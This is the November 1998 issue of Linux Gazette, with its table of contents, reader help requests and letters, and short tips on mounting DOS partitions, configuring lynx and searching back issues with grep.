Linux Gazette... making Linux just a little more fun! Copyright © 1996-98 Specialized Systems Consultants, Inc. _________________________________________________________________ Welcome to Linux Gazette! (tm) _________________________________________________________________ Published by: Linux Journal _________________________________________________________________ Sponsored by: InfoMagic S.u.S.E. Red Hat LinuxMall Linux Resources Mozilla cyclades Our sponsors make financial contributions toward the costs of publishing Linux Gazette. If you would like to become a sponsor of LG, e-mail us at sponsor@ssc.com. Linux Gazette is a non-commercial, freely available publication and will remain that way. Show your support by using the products of our sponsors and publisher. _________________________________________________________________ Table of Contents November 1998 Issue #34 _________________________________________________________________ * The Front Page * The MailBag + Help Wanted + General Mail * More 2 Cent Tips * News Bytes + News in General + Software Announcements * The Answer Guy, by James T. Dennis * Building an Automatic FTP Retriever, by Manuel Arturo Izquierdo * Building an IDE CD-ROM Server, by Ron Jachim and Howard Cokl * Creating a Linux Certification Program--The Next Step, by Dan York * Debugging CGI Programs over TCP, by Kevin O'Malley * Fall Internet World '98, by Stephen Adler * First Canadian National Linux InstallFest, by Dean Staff * Graphics Muse, by Michael J. Hammel * How to Print to a Printer on a Netware Server, by Izak Burger * Introduction to STL, Standard Template Library, by Scott Field * Linux Basics, by Paul Anderson * Linux Installation Primer, Part 3, by Ron Jenkins * Loadlin.exe Installer, by Bill Bennet * New Release Reviews, by Larry Ayers + Dict Continued + How Not to Re-Invent the Wheel + Updates and Corrections * Securing Your Linux Box, by Peter Vertes * Sendmail Made Easy, by Eberhard W. Lisse * TkApache, by Michael Holve * The Back Page + About This Month's Authors + Not Linux The Answer Guy _________________________________________________________________ TWDT 1 (text) TWDT 2 (HTML) are files containing the entire issue: one in text format, one in HTML. They are provided strictly as a way to save the contents as one file for later printing in the format of your choice; there is no guarantee of working links in the HTML version. _________________________________________________________________ Got any great ideas for improvements? Send your comments, criticisms, suggestions and ideas. _________________________________________________________________ This page written and maintained by the Editor of Linux Gazette, gazette@ssc.com _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ The Mailbag! Write the Gazette at gazette@ssc.com Contents: * Help Wanted -- Article Ideas * General Mail _________________________________________________________________ Help Wanted -- Article Ideas _________________________________________________________________ Date: Sun, 04 Oct 1998 16:04:47 -0500 From: "Casey Bralla", Vorlon@pdn.net Subject: Single IP Address & Many Servers. Possible? This is for the "article wanted" section of the Linux Gazette. Thanks! I have a single IP address for accessing the Internet. I have an Intranet with several old 486-class computers which all access the Internet via IP Masquerading. The single machine which is actually connected to the Internet (and does the masquerading) is not powerful enough to run a news server, mail server, HTTP server, etc. I would like to split these functions up among the cheap low-cost computers I have lying around. How can I force HTTP web pages to be serviced by the HTTP server even though it is not directly connected to the Internet with an IP address? Example Diagram below: 207.123.456.789 (Single IP address to the Internet) | | 486 DX/2-66 (IP Masquerading) | | 486 DX-33 Mail Server 192.168.1.1 | | K-5 133 HTTP Server 192.168.1.2 | | 486 DX-33 Leafnode News Server 192.168.1.3 | | (Other local machines) I want anyone on the Internet who accesses my web server by accessing 207.123.456.789 to be directed to the computer at 192.168.1.2 on the Intranet. (obviously, the Intranet users have no problem accessing the correct machines since they just reference the local 192.xxx.xxx.xxx IP address. But how can I make the same functionality available to the rest of the known universe?) Casey Bralla _________________________________________________________________ Date: Wed, 7 Oct 1998 15:40:06 -0500 From: "John Watts", watts@top.net Subject: Missing network card I've installed (from diskette) Debian 2.0 (hamm) on a system at work. The idea was to set it up as a file/print server for my department. Unfortunately, Linux doesn't believe me when I tell it that there is a network card. Its the EtherExpress 16. I've tried reinstalling and autoprobing, no luck. I've tried different Linux distributions, no luck. HELP!!!!!!!!!!!! John Watts _________________________________________________________________ Date: Tue, 06 Oct 1998 21:36:12 PDT From: "Jonathan Bryant", jonathanbryant@hotmail.com Subject: Linux Extra? I've been trying to encourage my Dad to try Linux. He has showed interest, but was curious if there was a Linux counterpart to Extra! on Windoze. He does a lot of work on the mainframe and needs something that can provide a "3270 terminal interface" for a "TSO session". I wondered if there are any old school programmers out there who can recommend a piece of software which would suit his needs. Thanks Jonathan Bryant _________________________________________________________________ Date: Fri, 09 Oct 1998 08:45:50 -0400 From: "Brian M. Trapp", bmtrapp@acsu.buffalo.edu Subject: NumLock - On at startup? Hi! I've been reading the Linux Gazette for almost a year now. NICE WORK!!! You're a great resource. Here's my quick and probably easy question.. On reboot (yes, I do that occasionally, just to use Win95 and Quicken) Linux (Red Hat 5.1) defaults to starting up with Num Lock off. How can I get it to switch it on for me automatically? (This is a matter of pride - I made the mistake of telling my girlfriend how great and powerful the OS is, and then she has to discover the num lock quirk for me...) Thanks! Brian Trapp _________________________________________________________________ Date: Fri, 9 Oct 1998 09:47:05 +0800 From: "ctc", zhanghongyi@163.net Subject: Where to find S3 ViRGE GX2 card driver for Linux I use S3 ViRGE GX2 video card in my computer, but I cannot run startx. Do you know where I can find drivers for this kind of card? Any information is greatly appreciated. Thanks. Zhang-Hongyi _________________________________________________________________ Date: Sun, 11 Oct 1998 16:38:00 -0700 From: Ed Ewing, edewing@isomedia.com Subject: article idea An article regarding cable modems and security, multiple interfaces etc. Thanks Ed _________________________________________________________________ Date: Sun, 11 Oct 1998 10:47:09 +0200 From: "P.Plantinga", plant@cybercomm.nl Subject: drivers savage Linux Are there drivers for my savage for Red Hat 5.1 xwindows? If there are any, please let me know where to get them. Thanks P.Plantinga _________________________________________________________________ Date: Sat, 10 Oct 1998 04:23:56 -0400 From: Eduardo Herrmann Freitas, efreitas@winnie.fit.edu Subject: Ensoniq Audio PCI Sound Card I would like to know if it is possible to install an Ensoniq Audio PCI Sound Card on Linux... ---- Eduardo _________________________________________________________________ Date: Mon, 12 Oct 1998 14:01:07 -0400 From: "Mann, Jennifer", Jennifer.Mann@GSC.GTE.Com Subject: looking for information Hi. I am looking for information about how Linux handles transactions and database support. Has the Linux Gazette published any articles pertaining to this topic? If so, I would like to know if and where I can find those articles on the web. Thank you, Jennifer Mann _________________________________________________________________ Date: Thu, 15 Oct 1998 09:01:46 -0500 From: "Mark Shipp(Soefker)", mshipp@netten.net Subject: Confused with ProComm scripting I got to your web site through a search on Yahoo. I must say that your help is a very valuable resource. The reason that I'm doing this search is because I'm looking for someone with experience with the Aspect scripting. Could you or someone that you know steer me in the right path? What I'm trying to do is create a counter that transmits its value in order to open to different nodes on a network. Below it the part of the program that is giving me the problem. It works except for the fact that I have to use the "TERMMSG" command instead of a "TRANSMIT". This won't work because the "open 0,(value)" statement has to be transmitted across the LAN. Thanks for your help and time, Mark proc main integer unit while unit !=3D 3 ; This means "while unit does *not* equal 3". unit++ ; Increment the value of counter (add 1 to it) termmsg "open 0,%d" unit transmit "^M" ;This is where I would add in my other programming pause (2) endwhile ; When unit equals 3 proceed, else count unit and restart ; This is where I would close the network endproc _________________________________________________________________ Date: Wed, 14 Oct 1998 15:29:49 +0000 From: "J luis Soler Cabezas", jsoca@etsii.upv.es Subject: I need info Hello, I have a TX pro II motherboard with an VGA onboard video chip. The problem is that Linux X86config X-Window subsystem doesn't recognize this video, the fact is that Linux can't access to Emulated video RAM. I'm waiting for your news, and please, excuse my English. ---- Luis _________________________________________________________________ Date: Mon, 19 Oct 1998 08:31:49 -0700 From: Ken Deboy, glockr@locked_and_loaded.reno.nv.us Subject: Win95 peer-to-peer vs. Linux server running Samba I'm wondering if anyone can tell me the advantages of a Linux machine running as a print server for a network of Win95 machines vs. just hang- ing the printer off one of the Win95 machines and setting them up in a peer-to-peer arrangement. You don't have to convince me, because I _do_ run Samba as my print server, but what can I tell my friends to convince them, especially if they aren't having too many problems with their Windoze machines? Thanks for any comments, but no flames... Ken Deboy _________________________________________________________________ Date: Sun, 18 Oct 1998 18:03:57 -0400 From: "Gregory Engel", rengel1@nycap.rr.com Subject: How to add disk space to RH 5.1? I am a new Linux user having installed Red Hat 5.1 last month. (So far so good) After installing several goodies and libraries like qt I find myself running out of disk space on my / directory. I have a Syquest EZ-flyer removeable disk drive that I didn't use at all during the install. My question is can I move some of the directories that defaulted to the root directory like /tmp/ and /var/ to this drive without a full re-installation, and if so, how. Also I really couldn't figure out how to get the thing working during install. It is a SCSI drive that connects to the parallel port. Red Hat lists it as a supported drive but was of little help when I asked them for specific instructions. If there is some other strategy I might use to gain disk space without a re-installation I would like to hear it. I'm still amazed I got the thing going in the first place. The partitioning makes me nervous. Thanks, Greg Engel _________________________________________________________________ Date: Tue, 20 Oct 1998 19:50:58 -0700 From: Michael McDaniel, mmcdaniel@acm.org Subject: imapd I have found a lot of information about using clients with IMAP servers. I have found basically _nothing_ about how to actually make the imapd server on Linux do anything. I can point NetScape Messenger at the localhost IMAP server and it (NS) dutifully says "no messages on server". Ok, I know that; how do I get messages on it? My Suggestion: Provide an article about imapd - how to set up hosts.allow for security, how to configure sendmail.cf to use it (I'm pretty sure this has to be done), how to set up user mailboxes, etc. I would love to see an article like this. By the way, how can I be automatically notified when a new issue comes out? I thought I was receiving that information but maybe not - I haven't seen any info about the new articles as they come out lately. Michael McDaniel _________________________________________________________________ Date: Mon, 26 Oct 1998 02:27:44 -0500 From: "Oblivion", garymc@mail.portup.com Subject: Help, with Debian 2.0 install from CD-ROM not part of HDD card I am having problems with Debian 2.0 to install the the important, extra, and/ or packages, which include the kernel source and patches. I have got a operating system, but it does not recognize the CD-ROM drive, thus I can not add or upgrade any program packages to the system. I have tried to move the CD-ROM drive to run off the HDD control but the system will not even do look at the BIOS to startup. I am including at the base of this message the system specs. of this machine. CPU: Cyrix 5x86 100MHz Hard Drives: BigFoot 1.2 Gb WD 4.0 Gb Floppy Drives: 3.5" Bus Type: PCI Extra Drives: TEAC CD-55 tray ROM 4x Mouse and style: Bus on COM1 modem: on COM2 Memory: 24 Megs Root Directory: hdc7 O/S on system: Windows 95 Kernal Version: 2.0.34 Sound Card: Drives CDROM - Sound Blaster Pro 16 compatible Gary _________________________________________________________________ Date: Thu, 29 Oct 1998 17:53:29 +0100 From: Thierry Durandy, thierry.durandy@art.alcatel.fr Subject: Tie with the penguin logo Do you know if I can find a tie with the Linux penguin logo on it? I could be interested in buying one to wear it and to show my opinion with keeping the suit. Thierry _________________________________________________________________ Date: Fri, 30 Oct 1998 17:00:16 EST From: Ross, IceRaven1@aol.com Subject: Cirrus Logic is the pits Help me, I have a huge computer science project to hand in on Monday 11:00 GMT and my university won't let us use the UNIX boxes on the weekends. I have Linux but alas I have a Cirrus Logic 5446 PCI with 2MB and Xwindows can't hack it--it corrupts the screen. My mate bought a new card to fix this problem. There must be a cheaper sollution, patch, new server, whatever. Also any quick help on how to set up a PPP conncection would be apreaciated, Cheers to anyone who can help. A newly converted Linux user, Ross _________________________________________________________________ General Mail _________________________________________________________________ Date: Sun, 4 Oct 1998 22:39:09 +0200 From: A.R. (Tom) Peters, tom@tompth.xs4all.nl Subject: Linux certification I read your article in Linux Gazette 33 on a Linux Certification program with interest. However, I would like to point out (and I will not be the only one), that this issue was already raised by Phil Hughes in L.J. Nov.1997 p.10; since then, there has been a still-active discussion in http://www.linuxjournal.com/HyperNews/get/certification.html. Therefore, I am somewhat surprised to see this paper appear in Linux Gazette without reference to these discussions. Moreover, Robert Hart of Red Hat has been actively defining a RH certification program; see http://www.redhat.com/~hartr/ . In principle, I sustain initiatives like these. I strongly disagree however, with Dan York's stress on the benefits for conference centers and publishers. Although I don't care if they make a lot of money out of it, I am very much afraid of the consequences: if something like this really catches on, only people who can afford the certification program will be taken seriously as Linux consultants or developers. Everyone else will be officially doomed to be an "amateur", disrespective of competence or contributions already made to the Linux movement. So I think we should NOT copy the expensive MSCE model, but keep Linux certification affordable. -- Tom "thriving on chaos" Peters _________________________________________________________________ Date: Sun, 4 Oct 1998 16:53:56 -0400 From: Dan York, dyork@lodestar2.com Subject: RE: Linux certification Tom, Many thanks for the pointers... I was not aware of the discussion on the linuxjournal.com site and had, in fact, been quite unsuccessful in finding such discussions on the web. Thank you. Thank you for pointing out Robert Hart's site... yes, others have sent along that pointer as well. Maybe I missed it, but when I was going through Red Hat's site, I didn't see a link to his pages on certification. Thank you for sending the pointer... and I hope Red Hat and Caldera can unify their efforts. We'll see. As far as your comments on the pricing, I understand your concerns. The struggle is to keep it affordable while also making it objective (which I would do through exams). In truth, Microsoft's MCSE program could cost only $600 (the price of the 6 exams), although in practice people spend much more for books and/or training classes. Thanks for your feedback - and I look forward to whatever discussions evolve. Regards, Dan _________________________________________________________________ Date: Sat, 3 Oct 1998 16:56:14 +0200 From: "David Andreas Alderud", aaldv97@student.hv.se Subject: Reb0l Just thought I'd mention something everybody needs to know... Reb0l is no longer beta and is available from www.rebol.com Really nice, I've used Reb0l since late last year (On my Amiga though) and I'm really pleased, sure think it will run over every other script language. Kind Regards, Andreas Alderud. _________________________________________________________________ Date: Fri, 2 Oct 1998 10:29:21 -0500 (CDT) From: mjhammel@graphics-muse.org Subject: re: links between identical sections Although I can't speak for other areas of the Gazette, the Graphics Muse can be searched using the Graphics Muse Web site. I have all the back issues online there with topical headings for the main articles in each issue. This feature just went live (online) last night, so it's brand new (which is why no one knew about it before :-). Take a look at http://www.graphics-muse.org/linux.html and click on the "Muse" button. That will do it for you. ---- Michael J. Hammel, The Graphics Muse We've added those requested links to each of the regular columns now. Ellen Dahl did this good work for us. --Editor _________________________________________________________________ Date: Fri, 2 Oct 1998 04:02:23 -0400 From: "Tim Gray", timgray@geocities.com Subject: Linux easy/not easy/not ready/ready YIKES! Ok, I've noticed one very strong theme in every message I have ever read about Linux and how it won't be accepted as a desktop. Every message states in one way or another, "if they see a command prompt, they will panic". I am appalled at how IT professionals view users as idiots and morons. I refuse to call myself an IT professional because I help my users and clients use their software and don't "just fix it when they mess it up". A user can learn the command prompt quickly, and it's easier to teach than, "click on start,settings,controlpanel,system,bla bla bla bla...." than, "just type setupmodem and press enter" or whatever command or script you may like. I have started to move all my clients to Linux starting with the servers, saving them time and money. And I have a CEO that logs in as root and adds and removes users at one location. Users are much smarter than everyone gives them credit for and a command prompt doesn't affect them as if the devil just spoke from the speakers. If the IT departments around the world put 1/5 the effort into educating the users than complaining about them, then it would be a non-issue. As computer professionals, we are to keep things running and educate our users, not sit on the pillar looking down with the look of "what do you do to it now?" As one last question, everyone says "I'll use Linux when it has a standard GUI"... What is a standard GUI? Windows doesn't have one, Linux is the closest thing to a standard GUI than anything else available. ---- Tim Gray _________________________________________________________________ Date: Tue, 06 Oct 1998 06:56:51 -0400 From: Nathaniel Smith, slow@negia.net Subject: Information on Linux I wrote you on Article Ideas and told you that I thought you should write an article on how to use Linux for us (click and go people, who are computer dummies), and you were kind enough to publish it. Before I wrote you, I had already ordered 4 books (apparently the wrong ones, and had received two, they started out, "I will assume you already have a full working knowledge of Unix commands). I have had several kind souls, who have taken their time and energy, to point me in a direction that I can help myself, and that is all anyone can ask. Some have even tried to go even further and tried to help me with a hard drive problem that I have. I would like to see someone try that with the Windows crowd, you would most likely come up with an empty mail box. I think that says a lot about the type of people that uses Linux and I just want to thank you and everyone who has tried to help me, for I will try to help myself before asking for anymore help. I think that I have enough to keep me busy learning for quite a while. thank you Nathaniel _________________________________________________________________ Date: Thu, 8 Oct 1998 18:44:33 -0400 From: keith, keithg@bway.net Subject: suggestion for Linux security feature I wonder if you can point me in the right direction to make a suggestion for a new "feature" of Linux which could further help to differentiate it in the marketplace, and which might really give it a LOT of exposure (good) in today's security-conscious press... The security of computer information has been in the press a lot lately, detectability of "deleted" files on people's hard drives, "secret" files, cache files, cookies, etc. which are out of the purview of the typical (and maybe even the advanced!) user. People either think they've deleted things which they haven't really expunged, or their files are infiltrated, perhaps by a child (accidentally, of course!). It seems to me quite possible to structure an OS like UNIX (and Linux in particular, since it is under development by so many gifted people) in such a way that all such files are created in a directory under the current user's ownership, in a knowable and findable place, so that: A. only that user could access their own cache, cookies, pointer files, etc. I do not know how deleted files could be safeguarded in this way, unless it is simply to encrypt everything. Hmmm.; B. these files - the whole lot of them - could be scrubbed, wiped, obliterated (that's why it's important for them to be in a known and findable place) by their owner, without impairing the function of the applications or the system, and without disturbing similar such files for other users. C. it would be nice too if there were a way to prevent the copying of certain files, and that would include copying by backup programs (for example, I'm a Mac user and we use Retrospect to back up some of our Macs; there's a feature to suppress the backing up of a particular directory by having a special character (a "bullet", or optn-8) at the beginning or end of the directory name.) But if this could be an OS-level feature, it would be stronger. If I'm user X, and I want to get rid of my computer, or get rid of everything that's mine on the computer, I should just be able to delete all of my data files (and burn them or wipe them or otherwise overwrite that area of the disk), which I can surely do today. But in addition, I should know where to go to do the same thing with whatever system level files might be out there, currently unbeknownst to me, and be able to expunge them also, without affecting anything for anyone else. Who would work on such a thing as this? Who would I suggest this to? Of course, it's my idea. (c) Keith Gardner 1998. :) But if something like this could be set up, wouldn't it go a long way in the press, in corporate and government buying mind set, etc.? I'm writing this very quickly, the idea really just came to me while reading the NY Times this morning with an article (in Circuits, 10/8/98) about computer security, and I am on my way out the door. I don't have time to give it much polish. But I hope the ideas are clear enough. Let me know what you think. Thanks. Keith Gardner _________________________________________________________________ Date: Fri, 16 Oct 1998 15:41:25 -0500 (CDT) From: Bret McGuire, mersault@busboy.sped.ukans.edu Subject: Availability of information for newbies The October issue of Linux Gazette featured a number of mail messages from individuals seeking basic information on how to start up and run a useful Linux system. A common complaint among these individuals was that basic information was not readily available, leading to the rather humorous suggestion that anyone who operates a usable Linux system was somehow "born with this information". :) This isn't the case. There are a number of locations on the Web which offer a great deal of information about the Linux operating system. The best starting point is probably still the Linux Documentation Project... http://sunsite.unc.edu/mdw/ (or at least that's where I always go... I understand there are mirrors all over) This site features HOWTO documents on nearly every topic you can imagine, along with current copies of the various Guides (everything from the Installation and Getting Started Guide thru The Linux Users' Guide thru The Linux Network Administrators' Guide, etc.). I suspect that this site either has the answer to your questions or has a link to someplace else that does. Definitely worth looking at... ---- Bret _________________________________________________________________ Date: Mon, 19 Oct 1998 13:54:18 +0200 From: Jonas Erikson, jonase@admin.kth.se Subject: go go Network do or die! My concern is that the free software alternative is going to its grave due to out-dated core bindings to the standard old UNIX core. In comp.os.plan9 there are discussions like: | Hasn't the coolness of Linux worn off? If you want true excitement with | how cool an OS is and the fun of pioneering again, how about cloning | Plan 9? Later in the same thread: | We need a new Linus to start writing a Plan 9 kernel. GNU's Hurd doesn't | go as far, as a cloned Plan 9 would. And in other comp.os.* ... more... I urge not to start all over again - but to modify that what is market recognized and stable. I think, unlike many other freeware enthusiasts, that there is a need for software infrastructure. A weak Linux would scatter a lot of good work and inspirations. For a new alternative it would take far too much time to reclaim the market confidence to freeware again. I know that what I suggest, is far in terms of development in Linux and that Linux holds a legacy of strong infrastructure. But I don't know if Linux, can tackle the infrastructure requirements building up after the first Internet pioneering.. Users in the MS-world see ACL:s and sharing (thus only the image) capabilities as a condition for selecting system. Also the development trend is that of distributing services, not only inside corporations but also trading with services distributed via CORBA or DCOM. Also other not so heavy standards are emerging as P3P, and do require a more distributive approach. If we look at sharing with supposed "advanced" like CODA and AFS capabilities in file systems, that is just the beginning. And I think only a symptom, of lacking structures inside UNIX. (CODA _is_ advanced in may aspects not issued here) New Internet standards make UNIX applications handle more, and more security features not compatible with the system. Building walls in systems by not providing infrastructure is not good for freeware, it's not like Internet at all, not infrastructure. The emerging operating system would be the most flexible in distributed security and compatible to old standards... And the idea to use a freeware alternative is to be ahead and in control. Are we still? So for the Linux Ext2fs kernel 2.3 ACL development: Do embed [domain][gid/uid][rights] for ACL-enteries! Don't forget that: Linux is like windows to the whole OS-arena but on the "open/free" OS arena. And software is like infrastructure. - nothing but smaller differences are necessary to gain market. As roads they need to be compatible with most cars, but still improve. Now some infrastructures are gradually being implemented that set new standards to cars, it's a bad idea not to take advantage of these standards. Jonas _________________________________________________________________ Date: Sun, 25 Oct 1998 06:53:39 -0500 From: "Bill Parker", bparker@dc.net Subject: Compliments on a great issue Great issue. It will take me some time to absorb even some of the information and good ideas presented here. I particularly benefited from "Thoughts about Linux," by Jurgen Defurne and "DialMon: The Linux/Windows diald Monitor," by Mike Richardson. I have not had time to read the rest yet. Thanks and best wishes, Bill Parker _________________________________________________________________ Date: Mon, 26 Oct 1998 16:16:37 -0800 From: Dave Stevens, dstevens@mail.bulkley.net Subject: Rant October 17, 1998, Smithers, B.C. There is a lot of criticism of Linux that goes more or less like this - "Well if it was so hot it would cost something. Everything free is no good." It isn't necessarily so and it just isn't so. Copyright is a social vehicle for compensating creators of intellectual property. The copyright expires eventually. Then the benefit of the intellectual work can, if it is of lasting value, be used more widely and, in principle, at least, in perpetuity. This process and model are very familiar in other fields of intellectual endeavor but are new to computer programming. If we look at the body of english literature that fills our libraries and bookshelves, there is certainly no direct correspondence between copyright and quality. All of Shakespeare, to take a favorite of mine, is long out of copyright and is some of the best literature ever created. Or Mozart, or Dickens. You make the list. The whole consumer software trip is too new for the copyright process and terms to have worked themselves out full term. The concept of computer software as intellectual work, potentially of a high calibre, is just too new for social understanding to be widespread. The idea that intellectual work might be contributed and protected in such a way as to enlarge the realm of the possible in the computer part of the public sphere certainly has a way to go in being got used to. Does this mean that some of the criticism offered in superficial? To put it kindly, yes. The open source software community is collaboratively creating a standard for computer software below which any commercial vendor will fall at its peril. If you can have all this for free will you actually pay to get an inferior product? Maybe by accident. But not twice. The growth of acceptance of Linux is a step in the spread of the idea of a body of public domain imperative literature. Its quality is no more to be judged by its price than a Chopin waltz. I would be happy to discuss any of these ideas with coherent correspondents, and invite both comment and criticism. Dave Stevens _________________________________________________________________ Published in Linux Gazette Issue 34, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Next This page written and maintained by the Editor of Linux Gazette, gazette@ssc.com Copyright © 1998 Specialized Systems Consultants, Inc. "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ More 2¢ Tips! Send Linux Tips and Tricks to gazette@ssc.com _________________________________________________________________ Contents: * No Linux support Lexmark 40 printers * The Mailbag: Re: text browsers * RE: Problem mounting vfat filesystem ... * Re: Linux Newbie * Locally Searching the Linux Gazette * Re: Problem mounting vfat filesystem * Mounting DOS Partitions in Linux * Re: Canon BJC-250 question * Re: Help : Modem + HP * Gnat and Linux: C++ and Java Under Fire LG #33 * Re: Canon BJC-250 question * re: problem mounting vfat filesystem * SMB Printing for users with spaces in their SMB username * 2 Cent Tip -- Netscape * Cobol * Piped Signatures * Fixing backspace and delete Key in X-windows * Creating bzgrep Program * Re: Linux on PalmPilot * Red Hat 5.1 + Acrobat Reader 3.01 HOWTO * 2 $.25 tips * S3 Virge/DX and XFree _________________________________________________________________ No Linux support Lexmark 40 printers Date: Thu, 15 Oct 1998 12:18:37 -0600 (MDT) From: "D. Snider", dsnider@nmia.com For your information: The Lexmark 40 color printers do all setup/alignment from MS whatever OS. Lexmark first told me they don't support Linux on their new 40 & 45 printers (all alignment functions are from software under MS something). But hey, the guys at Lexmark came through. They sent me a C program for aligning the printer. It would be a good candidate to go into an archive (sunsite.unc.edu). I don't know the process for putting software into an archive so I am passing it on to you folks. I also am sending it to Grant Taylor gtaylor+pht@picante.com, who is listed as the custodian of the Printing-HOWTO. The model 40 printer is PostScript and works well. Cheers Dale The Mailbag: Re: text browsers Date: Mon, 05 Oct 1998 19:46:43 +0200 From: Tomas Pospisek - Sysadmin, tpo@spin.ch User has problems with , that is not visible in lynx. Well, this is not the problem of the page, but a problem of lynx configuration. At the bottom of the default lynx config file one can configure the colors for the display of the different tags as one wishes. It is very clear from the comments in the config file on how to do it. One can start lynx with an option lynx -f config.file if I remember right. Tomas _________________________________________________________________ RE: Problem mounting vfat filesystem ... Date: Mon, 05 Oct 1998 10:13:54 +0100 (IST) From: Caolan McNamara, Caolan.McNamara@ul.ie Jan Jansta wrote... I have permanent problem with mounting any vfat/dos filesystem with write permisions for all users on my Linux machine. I'm using Red Hat 5.1, kernel version 2.0.34 . Does someone know what's not working properly ? Here's what I've done. The exact line from my /etc/fstab: /dev/hda1 /mnt/win95 vfat umask=000,auto 1 1 The trick is in setting the umask. Caolan _________________________________________________________________ Re: Linux Newbie Date: Sat, 03 Oct 1998 12:59:16 +0200 From: "Anthony E. Greene", agreene@pobox.com I saw your letter to Linux Gazette and decided to drop you a few pointers. Linux Documentation Project: First, the Linux Documentation Project is your friend. Take a look around the site http://sunsite.unc.edu/LDP/. The documents that you'll find most valuable as a new Linux user are the "Installation and Getting Started Guide" and the "The Linux Users' Guide". Both are available for download in multiple formats. Descriptions and pointers are at http://sunsite.unc.edu/LDP/ldp.html. If you really consider yourself (or your curious friends) clueless, then I'd advise you to buy a ream of paper and print the PDF version of the Linux User's Guide for casual reading. Then get one of the easier distributions, back up your Win95 data, and give Linux a whirl. Linux Distributions: I'd recommend Caldera http://www.caldera.com/ for casual non-programmers that are comfortable with Win95 and just want to try Linux. Current versions of Caldera come with the KDE desktop http://www.kde.org/. KDE presents a familiar interface to Win95 users. Red Hat http://www.redhat.com/ is very popular and also relatively easy but is oriented more toward knowledgeable computer users. I'm not familiar enough with SUSE http://www.suse.com/ to make a recommendation, although it's supposed to be easy too. Debian http://www.debian.org/ and Slackware http://www.slackware.org/ are considered by most to be for those who already know how to install and use Linux. There are other distributions, but these are the most popular. Included Documentation: Once you get Linux installed, fire up Midnight Commander from the command line using 'mc'. This is an easy to use file manager that, despite its DOS look & feel, is also powerful. Use it to take a look around the /usr/doc directory for the wealth of documentation installed in any popular Linux system. You'll be astounded at the amount of information available if you're accustomed to the Win95 way of doing things. The HOWTO documents in particular will be very useful to new users. HOWTOs are cookbook-style documents written by Linux users who have taken the time to share the steps they took to accomplish something in Linux. Perhaps if you use Linux for a while, you'll have occasion to write a HOWTO of your own. Manual Pages If you see references to a command in Linux and would like to know more about using it, chances are you'll find a comprehensive description of the command and all its options in the associated Manual Page. Just type: 'man command' at the command line, substituting the name of the command you're interested in and you'll be presented with a summary of the syntax, usage, and available options for the command. Many man pages also include examples and references to related man pages and commands. To see how to use the manual page system itself, just use 'man man'. Mailing Lists and Newsgroups Mailing lists and newsgroups provide a good way to find the answer to a question you haven't been able to find the answer to in the extensive documentation included with Linux or available from the LDP. Mailing lists are generally archived and the archives will probably be able to answer your question. If not, post a note asking for a pointer to the documentation and you'll probably get several good answers. If the problem is simple enough, you'll probably get an explanation too. I've found pointers to comprehensive documentation to be more valuable in the long run though. Often, understanding the solution to one problem allows you to solve other problems later. When subscribing to a mailing list or newsgroup, try to find one that's specific to the distribution you use. Most things are the same across distributions, but there are enough small differences that new users would be best served by getting help that's specific to their distribution. One more thing; be prepared to do lots of reading. ;-) -- Anthony E. Greene _________________________________________________________________ Locally Searching the Linux Gazette Date: Sat, 3 Oct 1998 01:33:17 -0400 (EDT) From: Ray Marshall, raym@vnet.net To begin with, I often like to browse and/or reference present and past issues of the Linux Gazette. But, since I'm not always connected to the Internet, and even when I am, I hate waiting for a page to download; I mirror it locally, both at home, and at work. On occasion I have found myself grepping the TWDT files for specific references to various topics, commands, packages, or whatever. But, just a plain grep of lg/issue??/issue??.html, will only show references in all but the first 8 issues. So, I made some minor changes in lg/issue01to08, and put an alias (command) in ~/.bashrc, to allow easy scanning of ALL issues. First, the changes: cd ~/html/lg/issue01to08 ln linux_gazette.html lg_issue1.html ln linux_gazette.aug.html lg_issue2.html ln linux_gazette.sep.html lg_issue3.html ln linux_gazette.oct.html lg_issue4.html ln linux_gazette.nov.html lg_issue5.html Now the command declaration (for bash): lgfind () { command grep -i ""$@"" ~/html/lg/issue01to08/lg_issue?.html ~/htm l/lg/issue??/issue??.html | more ; } The same declaration in C-shell (csh): alias lgfind 'grep -i ""\!*"" ~/html/lg/issue01to08/lg_issue?.html ~/html/lg /issue??/issue??.html | more' I suppose I could have used "linux_gazette*" in my grep, but that would have put the resulting output out of order. Besides, these links allow the grep to show which issue number a match is found in. And I suppose I could also have created either soft or hard links to ALL of the TWDT files in another directory. But I would then have to go there and add another link, every time a new issue came out. Using this is simple, just: lgfind and obvious to most experienced UNIX users, I quote the string if it contains spaces. Also, the string can be a regex expression. You may have noticed the "-i" -- I don't like having to remember the case of the characters I'm looking for. Once I have the output of lgfind, I point my browser to another html page that I have generated, that contains just links to all of the TWDT files. I will attach that page to this message. You can either add it to the base files, publish it, or whatever TYO. ;-) I put it in the directory that contains your `lg' directory. I hope this helps someone else, too. Ray Marshall PS: I agree with your decision to use "TWDT". It can be read in whatever way one wishes, including very inoffensively. Wise choice. _________________________________________________________________ Re: Problem mounting vfat filesystem Date: Fri, 02 Oct 1998 21:48:55 +0000 From: Nick Matthews, jerrikthyne@geocities.com From: Jan Jansta I have a permanent problem with mounting any vfat/dos filesystem with write permissions for all users >on my Linux machine. I'm using Red Hat 5.1, kernel version 2.0.34 Does someone know what's not working properly ? I had somewhat the same problem. What I did was to put this in my /etc/fstab: /dev/hda1 /dos vfat user,noauto 0 0 I don't always want my /dos partition mounted, because I don't want its files cluttering up my db for locating files. But making it a user partition means that anyone can mount and use it. Good luck, Nick _________________________________________________________________ Mounting DOS Partitions in Linux Date: Fri, 02 Oct 1998 17:08:23 -0400 From: Ed Young, youngej@magpage.com Secure Mounting for DOS Partitions: In order to open up permissions on your DOS partitions in a secure way, do the following: Note: in the samples below, the dos usrid (63) and grpid(63) were selected so they wouldn't duplicate any other usrid or grpid in /etc/passwd or /etc/group. Also, this solution works with Red Hat 5.1, you may have to adjust it slightly if you are using a different distribution. 1) Make a dos user who can't log in by adding the following line to /etc/passwd: dos:*:63:63:MSDOS Accessor:/dos: 2) Make a dos group and add users to the dos group. In the following example, root and ejy are in the dos group. To do this, add a line like the following to /etc/group: dos::63:root,ejy 3) Add the following line (changed to suit your system) to /etc/fstab: /dev/hda1 /C vfat uid=63,gid=63,umask=007 0 0 Of course, you have to locate your DOS partitions in the first place. This is done by issuing the following commands as 'root': /sbin/fdisk -l df cat /etc/fstab The `fdisk -l` command lists all available devices. `df` shows which devices are mounted and how much is on them. 